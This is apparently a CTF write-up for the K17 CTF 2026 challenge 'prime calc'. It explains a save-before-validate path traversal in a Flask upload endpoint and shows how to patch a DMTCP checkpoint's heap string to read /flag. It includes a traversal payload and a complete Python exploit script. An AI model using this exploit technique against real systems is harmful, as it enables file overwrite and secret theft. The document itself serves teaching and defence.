home / ctf / k17

prime calc

Downloading and re-uploading a DMTCP checkpoint is a memory read/write primitive; one 36-byte path swap makes the worker read /flag instead of its config.

2026.09.19 K17 CTF 2026 Misc
FLAG K17{d1d_y0u_l1k3_mY_fRont3nD_de$iGn?}

handout: a Flask app plus a DMTCP checkpoint worker (app.py, worker.py, generator.py, Dockerfile)

If you’re stuck, the framing that unlocks this challenge is: /api/snapshot and /api/config together give you a download-and-upload pair for a live process’s entire memory image. Once you see it that way, the “prime calculator” theming stops mattering — this is a memory read/write challenge, and the actual work is figuring out what to patch and how to get the result back out.

1. Structure

The app runs generator.py — a prime search — under DMTCP, repeatedly checkpointing and restoring it.

  • GET /api/status — returns output/latest.txt and status.txt
  • GET /api/snapshot — downloads /app/data/checkpoint.dmtcp, the process memory image
  • POST /api/config — uploads a config file
  • POST /api/run — runs worker.py once → dmtcp_restart <checkpoint.dmtcp> → lets it run for one second → checkpoints again

/flag is root:prime 0440, and the worker runs as prime, so the generator process is permitted to read it — it just has no reason to, on its own. The exploit’s job is to give it a reason.

2. The vulnerability — path traversal in /api/config

if not timestamp[0].isdigit():
    return jsonify(error="timestamp must be numeric"), 400

name = timestamp if Path(timestamp).suffix else timestamp + ".json"
destination = (CONFIG_DIR / name).resolve()

if destination != BASE_DIR.resolve() and BASE_DIR.resolve() not in destination.parents:
    return jsonify(error="invalid config path"), 400

destination.parent.mkdir(parents=True, exist_ok=True)
uploaded.save(destination)                  # <-- save happens first

try:
    values = json.loads(destination.read_text())
    ...
except (OSError, ValueError, TypeError, KeyError):
    return jsonify(error="invalid config contents"), 400   # <-- validation is later

The check only asks “is this path somewhere under /app/data?” — a much larger tree than the config directory it’s meant to guard. And because uploaded.save() runs before the JSON is validated, the write succeeds unconditionally, even on requests that come back a 400. The 400 only means the contents were rejected after the fact; the file is already on disk by then.

CONFIG_DIR is /app/data/configs, so two .. reach the target:

timestamp = "1/../../checkpoint.dmtcp"
  -> /app/data/configs/1/../../checkpoint.dmtcp
  -> /app/data/checkpoint.dmtcp      <- the exact file dmtcp_restart consumes

(One .. is not enough: 1/.. cancels back out on its own, landing the file in /app/data/configs/checkpoint.dmtcp instead — worth noting since it’s an easy off-by-one to make when first testing this.)

So: we can hand dmtcp_restart an arbitrary checkpoint image of our choosing.

3. Exploit — patch the target’s image, don’t build one

The challenge description says the setup is “sensitive to differences between machines,” which is the intended hint: a DMTCP image is bound to the machine it was taken on — mapping addresses, binaries, CPU features — so an image built locally will generally fail to restore on the remote target. The correct approach follows directly from that constraint: pull the target’s own image via /api/snapshot, and apply the smallest possible length-preserving patch to it.

$ curl -o snap.dmtcp $URL/api/snapshot     # 7.0 MB
$ file snap.dmtcp                          # gzip, original size 31,692,272 bytes
$ gunzip -c snap.dmtcp | head -c 16        # DMTCP_CHECKPOINT_IMAGE_v4.0

The whole file is a single gzip stream, so decompress, patch, recompress is the entire procedure.

3.1 What to patch

generator.py re-reads its config every loop:

ACTIVE_CONFIG = DATA_DIR / "runtime" / "active-config.json"
values = json.loads(ACTIVE_CONFIG.read_text())

That Path’s cached string lives on the heap inside the checkpoint image. Repointing it at /flag, using a replacement of identical byte length, makes the generator read the flag instead of its own config on its next loop iteration.

$ python3 -c '...'                  # search the decompressed image
1 occurrence  /app/data/runtime/active-config.json @ 0x20b718

Exactly one hit, and the surrounding bytes are a standard CPython str object:

refcount = 1
type     = 0x7fb4b0ad9920
length   = 0x24 (36)
hash     = 0xffffffffffffffff      <- -1, i.e. not yet computed
kind     = 0x64 (compact ASCII)
data     = "/app/data/runtime/active-config.json\0"

Same length, and a hash of -1 meaning it has never been hashed — so an in-place content swap doesn’t risk desyncing any dict this string was used as a key in. Build a 36-byte replacement path that normalises down to /flag:

orig = b"/app/data/runtime/active-config.json"   # 36
repl = b"/app/..//app/..//app/..//app/../flag"    # 36 -> /flag

The replacement has to pad out to exactly 36 bytes, so it’s built from a chain of .. segments that all cancel back to nothing, ending at /flag.

3.2 Getting the flag back out

json.loads(<flag text>) raises ValueError, which the except block swallows — nothing appears in any visible output from this call directly. But by the time that exception fires, the flag string is already resident in process memory, and worker.cycle() re-checkpoints that same process one second later, straight into /app/data/checkpoint.dmtcp — which /api/snapshot hands back out on request.

patch -> upload -> /api/run -> /api/snapshot -> grep K17{

4. Exploit code

import gzip, re, requests

BASE = "https://8000-....sbx.secso.cc"
ORIG = b"/app/data/runtime/active-config.json"
REPL = b"/app/..//app/..//app/..//app/../flag"   # same 36 bytes, normalises to /flag

raw = gzip.decompress(requests.get(BASE + "/api/snapshot").content)
raw = raw.replace(ORIG, REPL)                    # exactly one occurrence
img = gzip.compress(raw, 1)

# save precedes validation, so the 400 is irrelevant - the file is written regardless
requests.post(BASE + "/api/config",
              data={"timestamp": "1/../../checkpoint.dmtcp"},
              files={"config": ("x.dmtcp", img)})

requests.post(BASE + "/api/run")                 # dmtcp_restart <our image>

out = gzip.decompress(requests.get(BASE + "/api/snapshot").content)
print(re.findall(rb"K17\{[^}]+\}", out))

5. Confirming the patch landed

The output field alone shows the patch took effect, before even grepping for the flag:

before: "output":"17\n19\n23\n29\n..."     <- resumes from the checkpointed candidate
after : "output":"2\n3\n5\n7\n11\n13\n..." <- config read failed -> reset to default (2)

read_config() swallows the exception and returns (2, "prime", 0), which makes latest_version(0) != config_version true and restarts the search from 2 — direct evidence that /flag is being read instead of the real config:

$ python3 -c "...grep..."
patched str present: 4
flags: [b'K17{d1d_y0u_l1k3_mY_fRont3nD_de$iGn?}']

6. Takeaways

  • “Save, then validate” is itself a vulnerability. Returning a 400 after a failed check does nothing about the file already written to disk before the check ran.
  • A path check that only confirms “is this under the base directory?” after resolve() leaves every other file inside that base — here, an image that later gets executed — completely unprotected. An allowlisted directory plus filename normalisation is the actual control; “somewhere under here” is not one.
  • Being able to download and upload a whole process image is equivalent to a memory read/write primitive. Don’t try to construct a fresh image — machine-dependent state will break it on restore. Take the image you were given and apply a minimal patch to it instead.
  • CPython’s compact-ASCII str stores its length and hash directly in the header. A hash of -1 means it has not yet been computed, so replacing the contents with something of identical length will not desync any dict lookup depending on it.
#dmtcp#path-traversal#cpython#flask